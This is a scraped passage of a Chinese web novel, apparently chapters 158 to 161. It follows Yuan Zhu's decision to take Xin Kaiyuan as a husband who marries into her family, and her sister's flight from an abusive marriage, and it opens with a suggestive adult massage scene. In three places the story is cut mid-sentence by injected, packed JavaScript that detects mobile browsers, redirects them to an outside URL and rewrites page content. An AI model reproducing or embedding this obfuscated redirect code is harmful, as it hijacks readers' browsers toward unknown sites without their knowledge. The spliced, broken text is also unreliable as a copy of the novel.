辛开元的呼吸突然加重了,他轻抚着袁竹的后背,“揉一揉,捏一捏,都行,推拿按摩你随意,只要是袁娘子,你怎么对我,我都觉得舒服。” “好。”袁竹答应了一声,按照辛开元的指引,揉捏按压着,随着她手上的动作越来越熟稔,辛开元胸口起伏的动作也越来越大。 袁竹抬头,看到辛开元脸上一片绯红,他的眉头紧皱,好像在极力忍耐着什么。 原来他也在忍耐,袁竹轻声笑了,“你感觉怎么样?” 辛开元凑过去,亲了一下袁竹的额头,“感觉…很好…” 袁竹看着辛开元动情的脸,听着他在自己身下喘息,竟产生了一种难以言说的快感,连接触男人身体的恶心感都一扫而空。 “我也觉得很好。”袁竹的语气轻快,不自觉加重了手上的力度。 “嗯…”辛开元抓着袁竹的肩膀,身体微微颤抖着,“袁娘子…你是不是…哈嗯…下手重了点儿…” “是吗?”袁竹赶忙停了下来,“弄疼你了吗?” 袁竹骤然停手,让辛开元感觉更加难耐,“别停…继续…” 听到辛开元的低声请求,袁竹的心跳加快,一边观察着他的脸色,一边按摩着他的身体,“这样可以吗?重不重?” “可以…不重…”辛开元的眼神变得迷蒙,抓着袁竹肩膀的手微微用力,急切地呼唤着:“袁娘子…哈恩…袁竹…袁竹…” 袁竹皱起了眉头,起身向窗外看了看,抓过辛开元的手,摁在了他的嘴上,低声说道:“别出声!小心被人听见。” 辛开元听话地捂着嘴,鼻息愈加粗重,他赤红着一张脸,拼命喘息着,胸口高低起伏,细密的汗珠逐渐聚集在一起,顺着身体滴下,让袁竹看得口干舌燥。 袁竹拿开辛开元的手,拉他起来,两个人面对面坐着,袁竹用被子把两人裹上,一边给他按摩,一边堵上了他的嘴。 辛开元捧着袁竹的脸,热烈地回应着她的吻,床帏之内只能听到唇舌搅动的水声和低低的喘息声。 袁竹一直都觉得辛开元的吻很舒服,她很喜欢,此时就完全由他去了,辛开元尽情地亲吻着,袁竹则闭着眼睛,专注着手上按摩的动作。 “嗯…”辛开元闷哼一声,放开了袁竹的嘴唇,低头靠在她的肩膀上,轻轻喘息着。 袁竹咽了一下口水,“开元,你还好吗?” “好…”辛开元搂着袁竹的腰,亲吻着她的肩膀,“好得不得了,袁娘子,你按得我很舒服。” 辛开元浑身汗津津的,袁竹给他按摩了这么长时间,手上湿漉漉的,她举着双手要起身,“舒服就好,我得去洗洗手了。” 辛开元把脑袋埋在她颈边撒娇,“让我多抱一会儿吧,袁娘子,我觉得好幸福啊。” 袁竹笑了笑,“你还是小孩子吗?” “我不管,我就要抱着你。”辛开元抱着她不肯撒手,“袁娘子,你说了不后悔的,你不会再躲着我了吧?” 158. 入赘 “在你眼里,我是个说话不算话的人吗?”袁竹笑着反问道。 “当然不是。”辛开元的身子向后撤了撤,看着袁竹的眼睛骄傲地说道:“袁娘子一向是顶天立地,说一不二的!” “知道就好。”袁竹凑过去亲了一下辛开元的脸,“别闹了,赶紧穿上衣服,这么长时间不出去,别人该怀疑了。” “夏天的时候,我在你这里午睡,她们不也没说什么?”辛开元的嘴角向下撇,不情不愿地给袁竹穿上衣服。 袁竹举着手,配合着辛开元穿衣服,“那不一样,夏天我的房门都在开着。” “男未婚女未嫁的,有什么可怀疑的,大不了就告诉她们。”辛开元说道。 穿好了衣服,袁竹下了床,去脸盆架旁洗手,“是要告诉她们,但不是现在。” 辛开元披上衣服跳了床,兴奋地来到袁竹身边,“你要把我们的事公开?什么时候?” 袁竹擦干手上的水,另拿了毛巾来,擦干了他身上的汗,帮辛开元穿好衣服,“不要这样到处跑,小心着凉。” “袁娘子,怎么办?我今天好像太幸福了!我不是在做梦吧?”辛开元抬手捏了捏自己的脸,“真的!竟然是真的!” 袁竹一脸好笑地看着他,“别扯这些有的没的了,你安排个时间,我和你一起去见见你爹娘吧。” “你还要见我爹娘?”辛开元吃惊地问道。 “不是说了要成亲吗?你不打算让你爹娘知道?”袁竹笑着问道。 “成亲!”辛开元激动地把袁竹搂在了怀里,“我们要成亲了?你真的决定了?” “真的。”袁竹点了点头,“不过,我要跟你先说好,我是不会离开袁家的,你得赘给我,要是你爹娘不同意,成亲的事就先放一放。” “同意,我爹娘当然同意,我早就跟他们说过了,我是一定要入赘袁家的。”辛开元说道。 “那就好办了。”袁竹推开辛开元,去床上拿了腰带来给他系上,又拿了外衣给他,“你先出去吧,去问问你爹娘什么时候在家,我准备些礼品带过去。” 辛开元开心地穿上了外衣,“都是自家人,你不用这么客气。” “上次我被抓的时候,也多亏了你爹娘才凑够了钱,我一直想去看看,向他们道个谢,这次正好一并谢了。”袁竹说道。 “好,我这就去。”辛开元快步走到门边打开了房门。 “哎!也不用那么着急,你下午不还得带着学生操练吗?”袁竹在他身后说道。 辛开元回过头来,冲袁竹笑了笑,“我要赶紧告诉我爹娘这个好消息,他们肯定也很高兴,我在家吃完饭就回来,不会耽误下午上课的。” 袁竹也笑了,“行,那你去吧。” 辛开元急匆匆地出了院门往县里去了,袁竹返身来到床边整理着床铺,回想起他红着脸喘息的样子,袁竹就觉得一阵心动,和他成亲,也许不是个坏主意。 试一试吧,辛开元总爱说试一试,那就试试,要是婚后生活不如意,大不了再和离。 袁竹打定了主意,捡起地上的剪刀,出了房门,去田里干活去了。 中午,姜佑安和箫悦笙一起从县里回来,袁竹和她们一起回了袁家。 箫悦笙回了房间,姜佑安跟着袁竹进了她的房间,坐在了椅子上,“我今天去县衙了,没有见到曾景阳,跟其他差役打听了一下,他们都说霍祭太已经被处死了。” “那就好,都怪我看错了,害得你瞎紧张,要不你跟辛开元说一声,也没有什么危险的事,让他不用加紧训练了。”袁竹说道。 “不用跟他说了,我看县丞和知县那个样子,保不定什么时候又会有麻烦,让辛老师练着吧。”姜佑安说道。 袁竹去厨房打了热水泡茶,给姜佑安倒了一杯,“辛开元告诉我,戴老师去他那里炫耀,说你跟戴老师明年就要成亲了。” “嗯,是有这么回事。”姜佑安有些不好意思地冲袁竹笑了笑。 袁竹坐下来,捧着茶杯,吹了吹杯口的热气,“你不是跟我说,你不想成亲吗?” “对啊,我是不想。”姜佑安回头看了看,以防戴庭芳冷不丁地出现在门口,她压低了声音,“我觉得成亲根本没什么意思。” “那你为什么答应了?”袁竹问道。 “我不想,可戴老师想,他说不用我去伺候公婆,成了亲和现在也没什么区别,他只是想要一个名分而已,我反正是喜欢他,给他一个名分也没什么。”姜佑安说道。 “你也太随便了,戴老师的爹可不是好对付的,他同意你们成亲了?”袁竹问道。 姜佑安无所谓地耸了耸肩,“戴老师说这是他的决定,不用管他爹的意见,我也不想管,就这么着吧。” 袁竹皱起了眉头,“他父母不同意哪能行?” “无媒苟合嘛,这听起来倒是比成亲要刺激得多。”姜佑安笑着说道。 袁竹瞪了姜佑安一眼,“我跟你说认真的,你还在开玩笑!” “你别生气,我也是认真的啊,可他爹不同意,我能有什么办法?你总不能让我低声下气的,去求他爹吧。”姜佑安说道。 让姜佑安去求别人,确实有些难度,而且,为了成亲去求戴克政,也不值得,袁竹想了想,又问道:“戴老师他娘同意吗?” “同意,不过他家还是他爹说了算,他娘同意也没用。”姜佑安说道。 袁竹微微一笑,“他娘同意就好,倒时候你们成亲,就只把他娘请过来,也算是有家长在场了。” 姜佑安端起茶杯,喝了一口茶,“我还没想那么远,等明年春天再说吧。” 袁竹也捧着茶杯喝茶,犹豫了片刻,才放下杯子,向姜佑安说道:“我有一件事要告诉你。” “什么事?”姜佑安抬眼看过去。 “我想要和辛开元成亲。”袁竹说道。 姜佑安吃惊地看着她,“你不是害怕和男人一起睡吗?” 袁竹弯了弯嘴角,眼神中带着些许向往,“是,但是我信得过辛开元,我觉得可以试试。” “我昨天说的话不是这个意思,你不要急着做这个决定,你想试就先试试,万一你成亲之后,还是接受不了怎么办?”姜佑安说道。 “没事,大不了就和离。”袁竹垂下眼帘,看着杯中漂浮的菊花花瓣,“你让戴老师教给辛开元的,我已经试过了,我感觉还好,他不会强迫我,说话做事都是有分寸的。” 姜佑安听了,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你的彩礼不应该是我准备吗?”袁竹奇怪地问道。 辛开元轻声笑了,“你说入赘说了这么久,还一点儿都不知道这里面的门道,男人入赘,本就是男人家要准备彩礼的。” “可是,从小养大的孩子要到别人家去了,你爹娘不会心疼吗?我以为他们至少会多要些银子。”袁竹说道。 “我爹娘只希望我活得高兴,我们家虽说不算富裕,却也没缺钱到卖孩子的地步,要你的银子做什么?我爹娘也知道,我的束脩都是从你手里出,只要你待我好,我哪里会缺钱花。”辛开元笑着说道。 握着辛开元温热的手,袁竹总觉得对他有些亏欠,“就算你爹娘不提,我也应该补偿你才是。” “你不用补偿我,这世间的男人娶女人,都是为了生儿育女,传宗接代,男人又生不了孩子,万一以后你想要孩子了,我也生不出来,怀胎十月的是你,忍受痛苦生孩子的也是你,这些辛苦受累的事,我是一点儿也替不得你,你愿意跟我成亲,已经是我的福气了。”辛开元说道。 提到孩子,袁竹的心里一沉,“要孩子,怕不是那么容易的事…” 159. 新院 辛开元知道她又想起了前夫的事,停下脚步把袁竹抱在怀里,“我只是说万一,你不想要就不要,我也不是非要自己的孩子不可,现在这样我就很满足了,袁家不是已经有很多姓袁的孩子了吗?以后她们都是你我的孩子。” 袁竹点了点头,推开了他,前后看了看,“在外面,不要这样。” “我看过了,没有人。”辛开元看着她害羞的脸,格外欢喜,快速在她脸上亲了一下,“再说了,我跟我娘子亲热,管别人做什么。” 袁竹捂着发烫的脸,快步朝前方走去,“还没成亲,我怎么就是你娘子了?” “娘子,你等等我啊。”辛开元笑着追了上去。 袁竹回到袁家,在姜佑安和箫悦笙练骑射回来后,阮荷她们也放学回来了,袁竹向大家宣布了她和辛开元的婚事,众人纷纷向她道喜。 阮荷亲热地拉着袁竹的手,“袁姐姐,恭喜你。” “我看辛老师是个好男人,袁老板好福气啊。”石倩笑着说道。 钟二娘也满脸带笑,“我之前帮人家主持过婚礼,喜娘这个活我先揽了。” “那你可得好好学一学,这男人入赘和娶妻可不一样。”郭英打趣道。 “那是那是,我下午就出去打听去。”钟二娘笑着应道。 “这个我就懂,你不用出去打听,等我有空就教教你。”徐洪愿笑着说道。 郭英看向袁竹,“我做过嫁衣,你的喜衣就交给我吧。” 陆欢赶忙凑过来,还不等袁竹开口,马上说道:“喜衣我也可以帮忙。” “我也可以帮忙。”阮荷也说道。 袁竹笑了笑,“行,那就麻烦你们了,现在只剩一个多月了,时间是紧了点,不过,到时候的客人都是自己人,喜衣不用弄得太复杂,能用就行。” 钟明珠挤到了袁竹身前,拉了拉袁竹的衣袖,袁竹弯下腰,钟明珠凑到她的耳边,小声说了句恭喜,然后甜甜的笑了。 袁竹抱着钟明珠,轻声说了声谢谢,钟明珠笑了笑,又害羞地跑开了。 “这孩子,还是这么胆小。”钟二娘笑着说道。 看到钟明珠,袁竹想起了她娘和姐姐,也不知道她们现在怎么样了,自己成亲,也应该告诉她们一声才是。 姜佑安不知道自己能做什么,在一旁冥思苦想了好一阵,才终于灵光一现,“袁竹,你的房间要做喜房了吧,要不就交给我来布置?” “不用了,咱们院子里都是女的,我觉得让辛开元住进来不太好,旁边新建的院子里还有房间,到时候挑一间让他住进去就行了。”袁竹说道。 “你跟辛老师要分开住?”姜佑安问道。 “我可以去他那里住,也可以在这里住,不行吗?”袁竹反问道。 “行,当然行。”姜佑安笑着答道,“反正是你成亲,你说了算。” “那,撒帐之类的在哪儿做?”钟二娘问道。 石倩点头附和,“对啊,总归是要有个仪式的。” 袁竹想了想,“还是在我房里弄吧,简单布置一下就行。” 姜佑安一脸期待地看着袁竹,“交给我吧,我来给你布置。” 袁竹无奈地笑了笑,“好吧,交给你。” 越来越多的人听说了袁竹要成亲的消息,都纷纷来祝贺,一直到下午要上学了,学生们赶去祝贺辛开元,袁家才终于又安静了下来。 袁竹和姜佑安出了院门,去了西侧新院子的门口,大门上挂着崭新的牌匾,上书“袁宅”二字,打开门,里面稀稀拉拉种着一些竹子。 “这竹子这么细,得什么时候才能吃上竹笋?”袁竹问道。 “孟广说竹子长得可快了,明年就是一片竹林,肯定能让你吃上笋。”姜佑安笑着说道。 穿过院子,前方有一道门,右侧有一道门,姜佑安站在门边问道:“前面是住的地方,右边是园子,你要先看房子,还是先看园子?” “先看房子吧。”袁竹答道。 姜佑安推开门,把袁竹领了进去,这里盖好已经有一段时间了,有的房间里已经零零散散地住了人,袁竹看来看去,见最靠近大门的位置有一个小院子,于是选定了这处院子给辛开元住。 姜佑安四处看了看,“辛老师住这里,是比住在学堂附近要方便些。” “说是入赘袁家,要是还让他住在外面,我怕他会多想。”袁竹回头向门外看了看,“在这里,也就稍微强些,要是当初在院墙外给他单独盖个房子就好了。” “我看他现在的房子就挺好的,你就是想太多了,你看我跟戴老师,多随便。”姜佑安笑着说道。 袁竹关上了小院的院门,“你也该多想一点儿了,不是说明年春天成亲吗?” “看着你这边热热闹闹的,我挺开心的,不过,要是轮到我,我还是嫌麻烦,请大家吃顿饭,我和戴老师再喝杯交杯酒,也就够了。”姜佑安说道。 “你说的是简单,只怕戴老师不同意。”袁竹说道。 “到时候再说吧,我还没想那么多。”姜佑安拉着袁竹来到角门,打开门,把袁竹请了进去,“你来看看这个。” 袁竹走了进去,见是一个还算开阔的园子,里面摆着一些奇怪的石头,搭配着一些枯枝败叶,真是萧条又凄凉。 袁竹缓步向前走着,“我说这里的花都被挖走了,你怎么不让我补种,原来是为了建这个园子。” “好看吧?这可是我跟孟广一起设计的。”姜佑安得意地说道。 “这些破石头,哪好看了?”袁竹不能理解。 姜佑安撇了撇嘴,“就是破才好看,这可都是我找人专门从山上挖回来,你真是不懂欣赏。” “是,我是不懂。”袁竹向前走着,又进了前面的一扇门,见是比刚才的园子更大的园子,里面还建了几处亭台,她奇怪地问道:“盖房子的材料有剩这么多吗?” “没有,我把这些年挣的钱全花在这里面了,还有唐佐的那块玉佩,也被我给卖了。”姜佑安指着近旁一条细细的水流和远处的池塘,“你看,我们还发现了一条山泉,把水引进来了,那边的池塘还可以种荷花。” “你把钱全花了?”袁竹很震惊,过了这几年,她怎么还是一点儿都不知道节省,“现在家里还有外债,你怎么都不省着点儿?” “我这不是有外债之前就花掉了吗?”姜佑安低着头,有些委屈地说道。 “那边家里已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986064|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经有园子了,还不够你逛?你弄这些东西,除了白白扔钱,还有什么用?”袁竹生气地质问道。 “当然有用!”姜佑安抬起头来,“县里那么多人,出游都往北边去,不就是因为北边山坡缓,可以游乐的地方多吗?要是咱们这里建好了园子,可以让他们随便游玩,来的人多了,咱们卖花、卖茶、卖绢花、卖香粉,不都可以吗?” 袁竹觉得姜佑安说得也有理,火气渐渐平息下去,“这园子弄成这个样子,真的能吸引县里的人过来玩?” “现在这个样子当然不行,还需要把花田里的花挪过来一部分,明年春天再种一部分,等树一绿、花一开,再配上这里造的景,可就美多了,咱们去县里卖花的时候多宣传宣传,一传十十传百,来游玩的人肯定会越来越多的。”姜佑安解释道。 “正好我最近要给芍药分株,就先挪些芍药来吧,还有玫瑰和月季也该扦插了,到时候都种进来。”袁竹说道。 “院子里的缸里种的藕也长了不少了,等明年春天,可以挖出来种在这边的池塘里。”姜佑安说道。 “行,这边就交给你了,需要什么花木,种在什么地方,都听你的,要是不成,起码花还是能卖的,我就是可惜你扔下了这么多钱。”袁竹说道。 姜佑安微微一笑,“没事,我看县丞和知县那个样子,咱们就是有多少钱,都满足不了他们的胃口,下次他们要是再找茬要钱,正好用修园子当借口,告诉他们,咱们的钱都在这里了,等再挣回来才能给他们。” “他们要是这么通人情的人就好了。”袁竹摇了摇头,转身向外走去,“不过,这确实可以当做一个借口。” “我就说吧。”姜佑安笑着跟了上去,“你等着吧,这园子弄好之后,肯定好看,我从小也是逛园子逛惯了的,好坏我一眼就能看出来。” “是,姜大小姐什么都懂,我只是个粗人,我可看不出来。”袁竹笑着调侃道。 “你只看好看不好看就行了。”姜佑安挽着袁竹胳膊走了出去。 下午上完课,辛开元来到了袁家,院子里的人纷纷向他道贺,他一脸笑容地一一道谢,又问起袁竹在哪里,钟二娘说袁竹她们在园子里扦插花苗。 辛开元过去时,大家已经忙活得差不多了,姜佑安说辛开元来顶她的班了,便甩甩手出去了,其他人则和辛开元、袁竹一起打水给花苗浇水。 忙完之后,大家把东西都归位,也就各自散去了,只有辛开元陪着袁竹回了她的房间。 两人刚进了房间,就听见有人敲门,“袁姐姐,我有东西要给你。” 袁竹回过头来,见是阮晨烟站在门口,她笑着招呼道:“什么东西啊?来,进来坐。” 阮晨烟走进了房间,冲辛开元点了点头,从背后拿出一个花冠来,递到袁竹的面前,有些腼腆地说道:“听说你要成亲了,这是我送给你的礼物,祝你永远开心。” 袁竹接过来,见花冠是由绢花制成的,底座是一圈铁丝,缠绕其上的绢花花型各异,颜色鲜丽,做法虽有些粗糙,看起来却是一派喜气。 “谢谢你了,晨烟,我很喜欢。”袁竹把花冠放在头上比划着,“开元,咱们成亲的时候,我就戴这个怎么样?” 160. 投奔 “这花冠承载着小阮姑娘的祝福,颜色也喜庆,我看挺合适。”辛开元笑着说道。 “可以吗?”阮晨烟听到袁竹说要戴着她做的花冠成亲,很是高兴,同时又有些担心,“这绢花太软,你要是盖盖头,会压塌的。” “那就不盖盖头了,我等会儿跟钟二娘她们说一声,不用做盖头。”袁竹说道。 “新娘可以不盖盖头吗?”阮晨烟问道。 “可以啊,龙世蓉成亲的时候,不也没盖盖头吗?”袁竹笑着说道。 阮晨烟点了点头,把袁竹手里的花冠拿了回来,“要是成亲用,这个花冠我还要再做大一点儿,等我改好了再给你。” “行,不着急,你慢慢做。”袁竹说道。 “那我走了。”阮晨烟转身就要走,袁竹叫住了她,“等一下。” 阮晨烟回过头来,“还有什么事吗?” 袁竹朝阮晨烟走过去,小声问道:“你也差不多到岁数了,你爹娘有没有给你说亲?” “没有。”阮晨烟转过身来,摇了摇头,“我爹说我不用嫁人,只要能给家里拿钱就行,嫁了人,钱就是别人家的了。” “你爹娘想让你一辈子不嫁人?”袁竹问道。 “我姐说了,嫁人不是什么好事,不嫁人,才是一种幸运。”阮晨烟答道。 袁竹神情复杂地看着阮晨烟,“那你怎么想?” “我?”阮晨烟转了转眼珠子,“我也不知道。” “你挣的钱都给你爹娘了吗?”袁竹问道。 “没有,我姐帮我存下了一部分,说以后用得着。”阮晨烟答道。 “那就好,你不能任由你爹娘摆布,什么时候你想从阮家出来,我们会帮忙的,你姐姐那边能住得下,新修的院子里也有空房间,只要你愿意,在这边住下就是了。”袁竹说道。 “嗯。”阮晨烟笑着点了点头,“谢谢袁姐姐。” 袁竹弯起了嘴角,“好了,没事了,你去吧。” 阮晨烟又点了点头,跑了出去。 辛开元走到了袁竹身边,“你好像很担心她。” 袁竹轻轻叹了口气,“她们家和我家太像了,之前,我怕她们姐妹俩像我和我姐一样,被卖出去,给儿子换个媳妇回来,现在这样,我又怕她们会被爹娘拖累一辈子,成亲还是不成亲,都由不得她们自己。” “阮荷姑娘是个有主意的,肯定不会甘愿受爹娘的摆布,钱她们也存着了,就算她们自己搞不定,也会来求助你和姜院长的,你就别想太多了。”辛开元说道。 袁竹回头看着辛开元,笑了笑,“你说得对,阮荷现在可有主意了。” “你先做着歇会儿,我去给你泡壶茶。”辛开元去拿了桌上的茶壶,还没走到门口,就见钟二娘和石倩拿着尺子走了过来。 “正好你们都在,让我们量量尺寸,好给你们做喜衣。”钟二娘笑着说道。 “好,劳烦你们了。”辛开元赶忙把茶壶放下,站在那里张开了双臂。 量过了尺寸,石倩去跟徐洪愿相约着明天一起去县里买红布,钟二娘也去找徐洪愿学做喜娘,大家都热热闹闹地忙开了。 十一月,袁竹托人给袁萱草捎去消息,说了她要和辛开元成亲的事,没过几天,袁萱草就带着项三娘赶来了。 “袁家姐姐还真是着急,袁竹月末成亲,姐姐月初就来了。”徐洪愿笑着把两人迎了进去。 “成亲可是件大事,作为姐姐当然要来亲自把把关。”石倩也笑着附和道。 袁萱草脸上笑着,眼睛里却带着些尴尬,“袁竹单着这么些年了,能看着她再成亲,我和娘都高兴。” 项三娘怯生生地跟在袁萱草后面,小心地观察着四周,“萱草,这是什么地方啊?” “这是你女儿袁竹的家。”袁萱草说道。 “袁竹?”项三娘脸上一片茫然,“我只有你一个女儿,没有别的女儿。” 徐洪愿拉住了袁萱草,“袁家姐姐,要不让你娘让去我房里坐坐?她不认识袁竹了,待会儿见了面,怕是不好。” 袁萱草也有这个担心,忙点了点头,“我把娘送过去吧。” 听到院子里的动静,袁竹从房间里走出来,穿过堂屋来到了院里,见是袁萱草,忙迎了过去。 “姐!你来了!”袁竹欢喜地拉着袁萱草的胳膊,“我还以为你要等我成亲的日子再来呢。” 看到袁竹真心地欢迎她来,袁萱草的心里放松了不少,“你这里人多,本来不用我操心什么,可不来吧,我又总惦记,就想着过来看看还有什么能帮忙的没有。” “也不是什么大事,就是办几桌酒席而已,你来了,就住着,不用想着帮忙干活。”袁竹说道。 袁萱草看了看躲在身后的项三娘,“我把娘也带来了,你不会生气吧。” “咱们是一家人,我怎么会冲你生气,你来了,把娘留在夫家也不好,我这边有地方住,你不用担心。”袁竹说道。 袁萱草把项三娘拉过来,“娘,这是袁竹,是你的二女儿。” 项三娘看了一眼袁竹,低头往袁萱草身边凑了凑,“我不认识她,我只有萱草一个孩子。” “娘到了我那里之后生了一场病,什么都不记得了。”袁萱草说道。 “不记得也好,省得对我有怨恨。”袁竹向徐洪愿说道:“我姐要在这里住一段时间,我去新院子里给她挑个住处,你去钟二娘那边拿些被褥水盆之类的送过去。” “好。”徐洪愿点头答应,石倩也说要一起去拿东西,袁竹便先领着袁萱草和项三娘出了二门。 在新院里,袁竹选了一个宽敞的房间,打开了房门,让两人进去。 “姐,你和娘就住这里吧,这屋里有两个床,不会太挤,等会儿我给你拿火盆来,烧上火盆就暖和了。”袁竹说道。 项三娘松开袁萱草的胳膊,在房间里四处转悠,向袁竹高兴地说道:“这么好的房子给我们住?你可真是个大好人。” 袁竹微微一笑,母女两人再见面,像陌生人一样,反而比以前要好得多。 “平时缺什么吃的用的,就跟我说,你们就安心在这里住着吧。”袁竹说道。 袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991361|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萱草把包袱放在桌子上,犹豫了片刻,“刚才在那边人多,我没好意思说,这次我带娘过来,可能要多住些日子了。” “住呗,你想住多久住多久。”袁竹看袁萱草的脸色不大对,小心翼翼地问道:“是你夫家出什么事了吗?” “出事了!”项三娘凑过来,一脸严肃地说道:“都打起来了!” “打起来了?”袁竹紧张地看着项三娘,“谁跟谁打起来了?为什么打起来?” “他们找萱草要钱,萱草说没有,就打起来了。”项三娘说道。 袁竹转头看向袁萱草,“你老公和婆婆为了钱打你了?” “打了,不过我也还手了,他们没占到什么便宜。”袁萱草尽量用轻松的语气说道。 袁竹很是懊悔,“早知道这样,我就该把娘留下的。” “这事虽然跟娘有关,却也不是全因为娘,娘吃不了多少东西,在家里也占不了多少地方,平时我干活,她都会帮忙,我老公和婆婆就是心眼太坏,容不下娘,还总在算计我手里的那点钱。”袁萱草说道。 “银子都花完了?你缺钱怎么不来找我?”袁竹说道。 “十两银子,我给了婆婆一半,剩下一半还在我手里,我就是不想给他们了。”袁萱草抬眼看着袁竹,“我不想再回去了,这些年我在他家干活,他们从不给我钱也就算了,这次我不愿意把钱给他们,他们在村里跟别人说,我为了钱,害死我爹和我弟,现在手里攥着钱,谁都不给。” 袁竹听了非常生气,“他们怎么能这样!这不是瞎说吗?” “我也认清了,他们就是这样的人,自从知道他们在外面说我的坏话,我就不打扫房子了,也不洗衣裳、不喂鸡了,做饭也只做我和娘的,他们就骂我,说我吃白食,没良心,白养了我这些年。”袁萱草冷哼一声,“这些年我哪天歇着了,连怀小宝快生的时候,我都在干活,现在倒说是他们在养着我了。” “没良心的是他们!你走得对!就该离他们远远的。”袁竹说生气地说道,转念又一想,“那小宝怎么办?” 提起小宝,袁萱草更加气愤,“亏得我一直这么疼他,小宝跟他爹、他奶奶都是一路人,说我不干活,骂我懒,不像个女人,我一生气,要打他,他奶奶就拦着不让打,还说要打我娘,我就跟她吵了起来,我老公从外面回来,二话不说就要打我,让我把钱拿出来给他打牌,我不给,这才打了起来。” 想到看起来听话乖巧的孩子也会变成这个样子,袁竹觉得很失望,“他是你一天一天带大的孩子,怎么能这么说你!” “是啊,我也没想到,从我肚子来生出来的孩子,竟然会这样对我,说到底,他们才是一家人,我只是个外人。”袁萱草吸了吸鼻子,看着房顶,强忍住了眼泪。 “孩子可能太小,现在还不懂,说不定他看不到你,现在已经后悔了。”袁竹安慰道。 袁萱草低下头,叹了口气,“都怪我没有出息,我要是能像你这样,自己做点儿事,攒下点儿钱,有自己的家,再招赘一个男人,让孩子跟我的姓,哪里会变成这样。” 161. 喜事 “就算没有招赘,小宝也是你怀胎十月辛苦生下的孩子,这都是你老公和婆婆的错,是他们教坏了孩子,怎么能怪到你身上?你辛苦这么多年,什么都没有得到,也是他们没有良心。”袁竹说道。 “对,他们没良心!”项三娘附和道。 袁竹看着项三娘笑了笑,又转头看向袁竹,“算了,不说这些了,我老公那边,我是不打算回去了,带娘回原先的家,我也不太放心,只能来你这里,不过,我也不能吃白饭,你有什么活就安排我干,千万别客气。” “我知道你住在这里不干活的话,心里也不安生,现在没什么花开,不用你去县里卖花了,你一向手巧,过两天我让阮荷的妹妹阮晨烟过来教你做绢花吧,天冷了,就在屋里做做活,也能挣点儿钱。”袁竹说道。 “我也能干活,老板,你也给我点儿活干吧。”项三娘说道。 袁竹笑了,“娘的手也巧,肯定也能做。” “在聊什么呢?”徐洪愿抱着被子从外面走了进来,后面跟着钟二娘和四个女孩子,大家一窝蜂地进了屋。 “我姐闲不住,我说让她跟晨烟一起学者做绢花,我娘也想学一学。”袁竹笑着说道。 “我看行。”徐洪愿把被子放在了床上,“最近晨烟一得空就在弄那个绢花,用心得很,你们要是想学,她肯定愿意教。” 姜白凤把席子铺在了床上,钟二娘把褥子放了上去,“你还不知道她在忙什么?她做的可是袁竹成亲时用的花冠,能不用心吗?” “怪不得,那确实要好好用心。”众人一边说笑,一边擦桌子、扫地、铺床、挂棉帘连带着整理着屋里的东西,又有人拿来了火盆,抱来了柴火,不多时,就把一间空荡荡的房间布置得像模像样。 “不打扰你们姐妹叙旧了,我们就先回去了,你这里缺什么,就跟我说,我让孩子给你送过来。”钟二娘说道。 “不缺什么了,真是麻烦你们了。”袁萱草有些不好意思地说道。 钟二娘又跟袁萱草客套了几句,拉着徐洪愿回去了,其他的孩子们也都向袁竹告了别,跟着钟二娘走了。 袁竹挽着袁萱草的胳膊,带她来到院子里,告诉她哪边是厨房,哪边是厕所,哪边是柴房,还跟她说,要是闲着没事,还可以带娘到前面的园子里走走。 袁萱草点头答应,袁竹回头,看着项三娘正站在门边看着她,她让姐姐回屋先歇歇,晚上到那边院子里吃饭。 交代完袁萱草,袁竹便回去了,没多会儿就看见袁萱草带着项三娘来了。 “怎么不多歇一歇?过来有什么事吗?”袁竹从堂屋里走出来问道。 袁萱草笑了笑,“我听说今天孩子们都没上课,我就想来找晨烟姑娘,看看这绢花是怎么做的。” “姐,你不用这么着急。”袁竹劝说道。 “不着急,我就是闲着没事干,急得慌,手上有点活,我心里舒坦。”袁萱草笑着说道。 “行,真是拿你没办法。”袁竹拉着袁萱草的手进了阮荷的房间,让阮晨烟教她做绢花。 袁竹从房间里出来时,项三娘也跟了出来,“袁老板,我女儿说你是收留我们的大好人,她还说你要成亲了,我没什么本事,你的喜鞋要是没做,我来给你做怎么样?” 项三娘苍老的脸和热切的眼神,让袁竹很想流泪,上次自己成亲时,脚上穿的,也是她做的喜鞋,可惜没能带回来,“我有一双半旧的红鞋,可以做喜鞋。” “那怎么行,成亲还是要做新鞋,我来给你做一双新的吧。”项三娘高兴地说道。 袁竹红着眼睛,微微一笑,“好啊,那就麻烦你了。” “你要嫁到哪里去啊?远不远?我可以给你多塞点儿棉花,让你暖暖和和地出嫁。”项三娘说道。 “我不出嫁,是我老公入赘。”袁竹微笑着说道。 “不用出嫁,也挺好。”项三娘凑到袁竹跟前说道:“你看我女儿,就是嫁到别人家去了,现在被人赶出来,连家都没有了,好可怜的。” “你也是因为出嫁,才没有了家的吗?”袁竹问道。 